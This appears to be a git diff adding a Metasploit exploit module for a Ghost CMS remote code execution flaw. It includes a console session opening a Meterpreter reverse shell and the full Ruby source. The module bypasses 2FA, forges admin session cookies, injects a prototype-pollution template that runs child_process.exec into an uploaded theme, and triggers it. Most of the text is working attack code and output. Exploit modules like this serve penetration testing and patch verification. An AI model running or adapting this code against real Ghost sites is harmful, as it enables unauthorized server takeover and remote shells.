+ID=debian +HOME_URL="https://www.debian.org/" +SUPPORT_URL="https://www.debian.org/support" +BUG_REPORT_URL="https://bugs.debian.org/" +``` + +### Windows + +#### Direct Login + +``` +msf > use multi/http/ghostcms_auth_rce_cve_2026_29053 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp +payload => cmd/windows/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set RHOSTS 192.168.19.148 +RHOSTS => 192.168.19.148 +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set RPORT 2368 +RPORT => 2368 +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set EMAIL test@gmail.com +USERNAME => test@gmail.com +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set PASSWORD 16pm1ewtya +PASSWORD => 16pm1ewtya +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set target 1 +target => 1 +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > run +[*] Started reverse TCP handler on 192.168.19.130:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Sending stage (232006 bytes) to 192.168.19.148 +[+] The target appears to be vulnerable. +[*] Authenticating via session (user: test@gmail.com)... +[+] Session established via password. +[+] Authentication successful! +[*] Downloading active theme 'esnraytnjot' from server... +[*] Injecting payload into: author-john.hbs +[*] Uploading infected theme: fcffvppatcvqkzf +[*] Triggering payload... +[*] Meterpreter session 1 opened (192.168.19.130:4444 -> 192.168.19.148:53278) at 2026-04-04 13:22:38 -0400 + +meterpreter > sysinfo +Computer : DESKTOP-vognik +OS : Windows 10 21H2. +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > getuid +Server username: DESKTOP-vognik\vognik +meterpreter > +``` \ No newline at end of file diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index dc2c567e61247..8fa330f874473 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -158,6 +158,7 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'net-sftp' spec.add_runtime_dependency 'winrm' spec.add_runtime_dependency 'ffi', '< 1.17.0' + spec.add_runtime_dependency 'jwt' # Needed by modules/exploits/multi/http/ghostcms_auth_rce_cve_2026_29053.rb module # # REX Libraries diff --git a/modules/exploits/multi/http/ghostcms_auth_rce_cve_2026_29053.rb b/modules/exploits/multi/http/ghostcms_auth_rce_cve_2026_29053.rb new file mode 100644 index 0000000000000..c3b14d26c70f1 --- /dev/null +++ b/modules/exploits/multi/http/ghostcms_auth_rce_cve_2026_29053.rb @@ -0,0 +1,722 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'zip' +require 'jwt' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + VECTORS = { + tag: { + template_name: 'tag-{{SLUG}}.hbs', + creator: :create_post, + trigger: :get_tag, + cleaner: :delete_post + }, + page: { + template_name: 'page-{{SLUG}}.hbs', + creator: :create_page, + trigger: :get_page, + cleaner: :delete_page + }, + author: { + template_name: 'author-{{SLUG}}.hbs', + creator: :pick_random_author, + trigger: :get_author_by_slug, + cleaner: nil + } + }.freeze + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ghost CMS Remote Code Execution', + 'Description' => %q{ + This module exploits a Remote Code Execution (RCE) vulnerability in Ghost CMS. + Specifically crafted malicious themes can execute arbitrary code on the server running Ghost. + + The affected versions include all releases from 0.7.2 up to and including 6.19.0. + For versions 5.105.0–5.130.5 and 6.0.0–6.10.3, the module also leverages a 2FA bypass. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Maksim Rogov', # Metasploit Module + 'Cristian-Alexandru Staicu' # Vulnerability Discovery + ], + 'References' => [ + ['CVE', '2026-29053'], + ['CVE', '2026-22594'], + ['URL', 'https://www.endorlabs.com/learn/rce-in-ghost-cms-ghsa-cgc2-rcrh-qr5x'] + ], + 'Platform' => ['multi'], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Ghost >= 0.7.2, <= 6.19.0 / Unix payload', + { + 'Platform' => ['unix', 'linux'] + # Tested with cmd/unix/reverse_bash + # Tested with cmd/unix/reverse_nodejs + } + ], + [ + 'Ghost >= 0.7.2, <= 6.19.0 / Windows payload', + { + 'Platform' => ['windows'] + # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2026-03-02', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Path to the Ghost CMS App', '/']), + OptString.new('EMAIL', [ false, 'The email used for login or to receive the admin invitation']), + OptString.new('PASSWORD', [ false, 'The password for the specified email (not needed for API-based invite)']), + OptString.new('TOTP_CODE', [false, 'The 6-digit 2FA verification code required for TOTP flow']), + OptString.new('INVITE_LINK', [false, 'Full invitation activation link from the email message']), + OptString.new('ADMIN_API_KEY_ID', [ false, 'The ID of the Admin API key']), + OptString.new('ADMIN_API_SECRET', [ false, 'The secret associated with the Admin API key']), + OptString.new('GHOST_API_ADMIN_SESSION', [ false, 'The ghost-admin-api-session cookie']), + OptString.new('ADMIN_SESSION_SECRET', [ false, 'The database session secret to sign admin cookies']), + OptString.new('ADMIN_SESSION_ID', [ false, 'The plain session ID to be signed with the session secret']), + OptInt.new('DELAY', [ true, 'Delay (in seconds) before resetting the execution lock, preventing repeated payload execution', 60]), + OptEnum.new('ACTION', [true, 'Authentication method', 'PASSWORD', ['PASSWORD', 'SESSION_SECRET', 'API_KEY', 'COOKIE', 'INVITE']]) + ] + ) + end + + def ghost_request_cgi(method, endpoint, data: nil, params: nil, ctype: 'application/json') + headers = {} + headers['Authorization'] = "Ghost #{@jwt_token}" if @jwt_token + headers['Cookie'] = "ghost-admin-api-session=#{@ghost_admin_api_session}" if @ghost_admin_api_session + + proto = ssl ? 'https' : 'http' + target_origin = "#{proto}://#{rhost}:#{rport}" + headers['Origin'] = target_origin + + request_data = (ctype == 'application/json' && data.is_a?(Hash)) ? data.to_json : data + res = send_request_cgi({ + 'method' => method, + 'uri' => normalize_uri(target_uri.path, 'ghost', 'api', 'admin', endpoint), + 'headers' => headers, + 'ctype' => ctype, + 'vars_get' => params, + 'data' => request_data, + 'keep_cookies' => true + }) + + if res.nil? + print_error("Connection failed during #{method} to #{endpoint}") + return nil + end + + if res.code >= 400 + json_body = res.get_json_document + if json_body.is_a?(Hash) && json_body['errors'] + error = json_body.dig('errors', 0) + ctx = error.is_a?(Hash) ? error['context'] : nil + + print_error("Ghost Error (#{res.code}). #{ctx}") + end + end + + res + end + + def create_post(title, slug, tags = nil) + res = ghost_request_cgi('POST', 'posts/', data: { + posts: [ + { + title: title, + slug: slug, + tags: tags, + status: 'published', + visibility: 'public' + } + ] + }) + res&.get_json_document&.dig('posts', 0, 'id') + end + + def create_page(title, slug, *_args) + res = ghost_request_cgi('POST', 'pages/', data: { + pages: [ + { + title: title, + slug: slug, + status: 'published', + visibility: 'public' + } + ] + }) + res&.get_json_document&.dig('pages', 0, 'id') + end + + def create_rex_archive(binary_archive) + zip = Rex::Zip::Archive.new + + Zip::File.open_buffer(binary_archive) do |z| + z.each do |f| + zip.entries << Rex::Zip::Entry.new( + f.name, + (f.ftype == :file ? z.read(f) : ''), + Rex::Zip::CM_DEFLATE, + nil, + (Rex::Zip::EFA_ISDIR if f.ftype == :directory) + ) + end + end + + zip + end + + def download_theme(name) + res = ghost_request_cgi('GET', "themes/#{name}/download/") + res.body + end + + def upload_theme(theme_name, zip_binary) + mime = Rex::MIME::Message.new + mime.add_part(zip_binary, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{theme_name}.zip\"") + + res = ghost_request_cgi('POST', 'themes/upload/', + data: mime.to_s, + ctype: "multipart/form-data; boundary=#{mime.bound}") + + fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Theme upload failed: no response received") unless res + + json_body = res.get_json_document + errors = json_body.is_a?(Hash) ? json_body['errors'] : nil + error_message = if errors.is_a?(Array) && !errors.empty? + errors.map { |error| error.is_a?(Hash) ? error['message'] || error.inspect : error.to_s }.join(', ') + end + + unless res.code.between?(200, 299) && error_message.nil? + message = "#{peer} - Theme upload failed (HTTP #{res.code})" + message = "#{message}: #{error_message}" if error_message + fail_with(Msf::Module::Failure::UnexpectedReply, message) + end + + res + end + + def get_malicious_template + delay_seconds = datastore['DELAY'] + delay_ms = delay_seconds * 1000 + resource = ['posts', 'pages', 'tags', 'authors', 'tiers'].sample + filter = ['id', 'name', 'slug'].sample + + # prevents multiple concurrent executions using a global lock + lock_var = Rex::Text.rand_text_alpha_lower(1..16) + + js_bytes = "String.fromCharCode(#{payload.encoded.bytes.join(',')})" + js_payload = "return global.#{lock_var}?0:(global.#{lock_var}=1,process.mainModule.require('child_process').exec(#{js_bytes},{detached:1},()=>setTimeout(()=>global.#{lock_var}=0,#{delay_ms})))" + [ + '{{!< default}}', + "{{#get \"#{resource}\" filter=\"#{filter}:{{@site[?( ({__proto__:\\\"\\\".toString})[\\\"constructor\\\"](\\\"#{js_payload}\\\")() )]}}\" limit=\"1\"}}", + '{{/get}}' + ].join("\n") + end + + def delete_theme(name) + res = ghost_request_cgi('DELETE', "themes/#{name}/") + res&.code == 204 + end + + def get_users(include: nil) + params = {} + params['include'] = include if include.present? + + res = ghost_request_cgi('GET', 'users/', params: params) + res&.get_json_document&.dig('users') + end + + def delete_post(post_id) + res = ghost_request_cgi('DELETE', "posts/#{post_id}/") + res&.code == 204 + end + + def delete_page(page_id) + res = ghost_request_cgi('DELETE', "pages/#{page_id}/") + res&.code == 204 + end + + def delete_invite(invite_id) + res = ghost_request_cgi('DELETE', "invites/#{invite_id}/") + res&.code == 204 + end + + def check_existing_session + if datastore['GHOST_API_ADMIN_SESSION'].present? + print_status('Found GHOST_API_ADMIN_SESSION in datastore. Validating session...') + @ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION'].to_s + if get_config.present? + return true + else + print_error('Session is invalid: Incorrect cookie or 2FA code is required.') + end + end + @ghost_admin_api_session = nil + false + end + + def verify_totp_code + unless datastore['TOTP_CODE'] =~ /^\d{6}$/ + fail_with(Msf::Module::Failure::BadConfig, 'The TOTP_CODE must be exactly 6 digits.') + end + + if datastore['GHOST_API_ADMIN_SESSION'].blank? + fail_with(Msf::Module::Failure::BadConfig, 'Missing GHOST_API_ADMIN_SESSION. Cannot verify TOTP without the previous session cookie.') + end + + print_status("Submitting verification code from datastore: #{datastore['TOTP_CODE']}...") + @ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION'].to_s + + res_verify = ghost_request_cgi('PUT', 'session/verify', data: { + token: datastore['TOTP_CODE'] + }) + + if res_verify&.code == 200 || res_verify&.code == 201 + print_good('2FA verification successful! Session established.') + save_session_cookie(res_verify) + return true + elsif res_verify&.code == 401 + print_error('2FA verification failed. The code entered is incorrect.') + return false + else + print_error("Verification failed. Server responded with HTTP status: #{res_verify&.code}") + return false + end + end + + def authenticate_with_password(email, password) + print_status("Authenticating via session (user: #{email})...") + json_data = { + username: email, + password: password + } + + # CVE-2026-22594 Staff 2FA bypass + if Rex::Version.new(@version).between?(Rex::Version.new('6.0.0'), Rex::Version.new('6.10.3')) || Rex::Version.new(@version).between?(Rex::Version.new('5.105.0'), Rex::Version.new('5.130.5')) + print_status("Target version #{@version} is vulnerable to 2FA bypass (CVE-2026-22594). Attempting to exploit...") + json_data[:skipEmailVerification] = true + end + + res = ghost_request_cgi('POST', 'session', data: json_data) + + if res.nil? + print_error('No response received from the server during login.') + return false + end + + case res.code + when 200, 201 + print_good('Session established via password successfully.') + save_session_cookie(res) + return true + when 404 + print_error('User not found or login endpoint does not exist.') + return false + else + if res.body =~ /2FA_NEW_DEVICE_DETECTED/ + save_session_cookie(res) + print_warning('The server requires a 2FA email verification code (2FA_NEW_DEVICE_DETECTED).') + fail_with(Msf::Module::Failure::BadConfig, 'Please run: "set TOTP_CODE <6-digits>", and run again.') + end + + print_error("Login failed! Response code: #{res.code}") + false + end + end + + def save_session_cookie(response) + raw_cookies = response.get_cookies + if raw_cookies.present? && raw_cookies =~ /ghost-admin-api-session=([^;]+)/ + captured_cookie = Regexp.last_match(1) + framework.datastore['GHOST_API_ADMIN_SESSION'] = captured_cookie + @ghost_admin_api_session = captured_cookie + end + end + + def do_login(email, password) + if check_existing_session + print_good('Valid active session detected via cookie. Skipping authentication steps.') + return true + end + + if datastore['TOTP_CODE'].present? + return verify_totp_code + end + + authenticate_with_password(email, password) + end + + def build_archive_from_directory(directory_path) + archive = Rex::Zip::Archive.new + + Dir.glob(File.join(directory_path, '**', '*')).each do |path| + relative_path = path.sub("#{directory_path}/", '') + + if File.file?(path) + archive.add_file(relative_path, File.read(path)) + elsif File.directory?(path) + archive.add_file(relative_path, nil, recursive: true) + end + end + + archive + end + + def get_active_theme + res = ghost_request_cgi('GET', 'themes/active/') + res&.get_json_document&.dig('themes', 0) + end + + def prepare_base_theme + if datastore['ADMIN_API_KEY_ID'].present? && datastore['ADMIN_API_SECRET'].present? + print_status('Using local template theme for JWT-based attack...') + theme_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-29053', 'theme') + + build_archive_from_directory(theme_path) + else + active_theme = get_active_theme + fail_with(Failure::UnexpectedReply, 'Could not retrieve active theme info') unless active_theme.is_a?(Hash) + + @default_theme = active_theme&.dig('name') + fail_with(Failure::UnexpectedReply, 'Could not retrieve active theme info') if @default_theme.nil? + + print_status("Downloading active theme \"#{@default_theme}\" from server...") + theme_data = download_theme(@default_theme) + fail_with(Failure::UnexpectedReply, "Failed to download theme: #{@default_theme}") if theme_data.nil? || theme_data.empty? + + create_rex_archive(theme_data) + end + end + + def activate_theme(theme_name) + res = ghost_request_cgi('PUT', "themes/#{theme_name}/activate/") + res&.code == 200 + end + + def inject_payload(base_archive, template_pattern, slug) + target_filename = template_pattern.gsub('{{SLUG}}', slug) + + payload_content = get_malicious_template + + print_status("Injecting payload into: #{target_filename}") + base_archive.add_file(target_filename, payload_content) + base_archive.pack + end + + def pick_random_author(*_args) + users = get_users(include: 'count.posts') + fail_with(Failure::UnexpectedReply, 'Could not retrieve any authors from Ghost') if users.nil? || users.empty? + + active_users = users.select do |user| + post_count = user.dig('count', 'posts').to_i + post_count >= 1 + end + + active_users.sample['slug'] + end + + def get_author_by_slug(slug) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'author', slug.to_s, '') + ) + fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200 + end + + def get_page(slug) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, slug.to_s, '') + ) + fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200 + end + + def get_tag(slug) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'tag', slug.to_s, '') + ) + fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200 + end + + def issue_jwt(key_id, secret) + iat = Time.now.to_i + payload = { + iat: iat, + exp: iat + 300, + aud: '/admin/' + } + secret_bytes = [secret].pack('H*') + JWT.encode( + payload, + secret_bytes, + 'HS256', + { kid: key_id } + ) + end + + def get_roles + res = ghost_request_cgi('GET', '/roles/') + return nil unless res&.code == 200 + + res&.get_json_document&.dig('roles') + end + + def invite_user(email, role_name) + allowed_roles = %w[Administrator Editor Contributor Author] + + unless allowed_roles.include?(role_name) + raise ArgumentError, "Invalid role: #{role_name}" + end + + roles = get_roles + role_id = roles.find { |role| role['name'] == role_name }['id'] + + res = ghost_request_cgi('POST', '/invites/', data: { + invites: [ + { + role_id: role_id, + email: email + } + ] + }) + unless res&.code == 201 + fail_with(Failure::UnexpectedReply, "#{peer} - Failed to send invitation to #{email}") + end + res&.get_json_document&.dig('invites', 0) + end + + def activate_invite(token, name, email, password) + res = ghost_request_cgi('POST', '/authentication/invitation/', data: { + invitation: [ + { + name: name, + email: email, + password: password, + token: token + } + ] + }) + + res&.code == 200 + end + + def handle_successful_activation(email, password) + print_good("Account activated successfully: #{email} : #{password}") + @account_created = true + @invite_id = nil + authenticate_with_password(email, password) + end + + def auth_with_invite + @jwt_token = issue_jwt(datastore['ADMIN_API_KEY_ID'], datastore['ADMIN_API_SECRET']) + email = datastore['EMAIL'] + + unless datastore['INVITE_LINK'].present? + @invite_id = invite_user(email, 'Administrator')&.dig('id') + print_warning("An invitation has been sent to #{email}.") + print_warning('Please check the inbox, copy the "Click here to activate your account" link, and paste it here.') + fail_with(Msf::Module::Failure::BadConfig, 'Please run: "set INVITE_LINK ", and run again.') + end + + name = Faker::Name.unique.name + pass = Faker::Internet.password(min_length: 10, mix_case: true, special_characters: true) + token = URI.parse(datastore['INVITE_LINK']).path.split('/').last + + if activate_invite(token, name, email, pass) + handle_successful_activation(email, pass) + else + fail_with(Msf::Module::Failure::UnexpectedReply, 'Activation failed and fallback authentication failed. The token might be invalid or expired.') + end + end + + def auth_with_jwt + @jwt_token = issue_jwt(datastore['ADMIN_API_KEY_ID'], datastore['ADMIN_API_SECRET']) + + @jwt_token.present? + end + + def get_user_id(email) + users = get_users + return nil if users.nil? + + user = users.find { |user| user['email'] == email } + user ? user['id'] : nil + end + + def delete_user(email) + user_id = get_user_id(email) + return false unless user_id + + res = ghost_request_cgi('DELETE', "users/#{user_id}/") + res && res.code == 200 + end + + def get_config + res = ghost_request_cgi('GET', 'config/') + res&.get_json_document&.dig('config') + end + + def sign_ghost_admin_session(secret, session_id) + hmac = OpenSSL::HMAC.digest('SHA256', secret, session_id) + signature = Base64.strict_encode64(hmac).gsub(/=+$/, '') + + raw_cookie = "s:#{session_id}.#{signature}" + Rex::Text.uri_encode(raw_cookie).gsub(/%[0-9a-f]{2}/, &:upcase) + end + + def auth_via_password + return false unless datastore['EMAIL'].present? && datastore['PASSWORD'].present? + + do_login(datastore['EMAIL'], datastore['PASSWORD']) + end + + def auth_via_api_key + return false unless datastore['ADMIN_API_KEY_ID'].present? && datastore['ADMIN_API_SECRET'].present? + + print_status('Authenticating via Pure API Key (JWT generation)...') + auth_with_jwt + end + + def auth_via_invite + return false unless datastore['EMAIL'].present? && datastore['ADMIN_API_KEY_ID'].present? && datastore['ADMIN_API_SECRET'].present? + + print_status('Authenticating via Invitation Flow...') + auth_with_invite + end + + def auth_via_session_secret + return false unless datastore['ADMIN_SESSION_SECRET'].present? && datastore['ADMIN_SESSION_ID'].present? + + print_status("Signing session cookie using provided secret for Session ID: #{datastore['ADMIN_SESSION_ID']}...") + @ghost_admin_api_session = sign_ghost_admin_session(datastore['ADMIN_SESSION_SECRET'], datastore['ADMIN_SESSION_ID']) + + !get_config.nil? + end + + def auth_via_cookie + return false unless datastore['GHOST_API_ADMIN_SESSION'].present? + + print_status('Authenticating via GHOST_API_ADMIN_SESSION cookie...') + @ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION'] + + !get_config.nil? + end + + def auth + auth_success = case datastore['ACTION'] + when 'PASSWORD' then auth_via_password + when 'API_KEY' then auth_via_api_key + when 'INVITE' then auth_via_invite + when 'SESSION_SECRET' then auth_via_session_secret + when 'COOKIE' then auth_via_cookie + else + fail_with(Failure::BadConfig, "Invalid ACTION: #{datastore['ACTION']}") + end + + fail_with(Failure::NoAccess, 'Authentication failed: Unable to establish a session or generate a valid JWT. An error may have occurred during operation, or the required variables in datastore are not set. Please check the documentation for more details') unless auth_success + + print_good('Authentication successful!') + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + ) + return CheckCode::Unknown("#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200 + + html = res&.get_html_document + ghost_tag = html.at('meta[name="generator"][content^="Ghost"]') + + raw_content = ghost_tag&.[]('content') + return CheckCode::Unknown("#{peer} - Ghost generator meta tag not found") unless ghost_tag + + # keep only digits and dots + @version = Rex::Version.new(raw_content.gsub(/[^\d.]/, '')) + return CheckCode::Appears("Detected version #{@version}, which is vulnerable") if Rex::Version.new(@version).between?(Rex::Version.new('0.7.2'), Rex::Version.new('6.19.0')) + + CheckCode::Safe("Detected version #{@version}, which is not vulnerable") + end + + def cleanup + super + + if @default_theme && @malicious_theme_name + print_status('Reverting to default theme...') + activate_theme(@default_theme) ? print_good("Successfully reverted to theme: #{@default_theme}") : print_error("Failed to revert to theme: #{@default_theme}") + + print_status('Removing malicious theme...') + delete_theme(@malicious_theme_name) ? print_good("Successfully removed malicious theme: #{@malicious_theme_name}") : print_error("Failed to remove malicious theme: #{@malicious_theme_name}") + end + + if @content_id && @vector && @vector[:cleaner] + print_status('Removing content...') + send(@vector[:cleaner], @content_id) ? print_good("Successfully removed content: #{@vector_key} #{@content_id}") : print_error("Failed to remove content: #{@vector_key} #{@content_id}") + end + + if @invite_id && datastore['INVITE_LINK'].present? + print_status('Removing invitation...') + delete_invite(@invite_id) ? print_good('Invitation removed successfully') : print_error('Failed to delete the invitation') + end + + if @account_created + print_status('Removing temporary account...') + + auth_with_jwt || (print_error('Unable to authorize via API keys to delete the user') && return) + delete_user(datastore['EMAIL']) ? print_good('The temporary account removed successfully') : print_error('Failed to delete the temporary account') + end + end + + def exploit + auth + + @vector_key = VECTORS.keys.sample + @vector = VECTORS[@vector_key] + + if @vector_key == :author + @trigger_slug = send(@vector[:creator]) + else + @trigger_slug = Rex::Text.rand_text_alpha_lower(4..16) + @content_id = send(@vector[:creator], @trigger_slug, @trigger_slug, [@trigger_slug]) + end + + @malicious_theme_name = Rex::Text.rand_text_alpha_lower(4..16) + + base_archive = prepare_base_theme + if base_archive.nil? + fail_with(Failure::BadConfig, 'Base archive could not be initialized') + end + + infected_zip = inject_payload(base_archive, @vector[:template_name], @trigger_slug) + print_status("Uploading infected theme: #{@malicious_theme_name}") + upload_theme(@malicious_theme_name, infected_zip) + activate_theme(@malicious_theme_name) + + print_status('Triggering payload...') + send(@vector[:trigger], @trigger_slug) + end + +end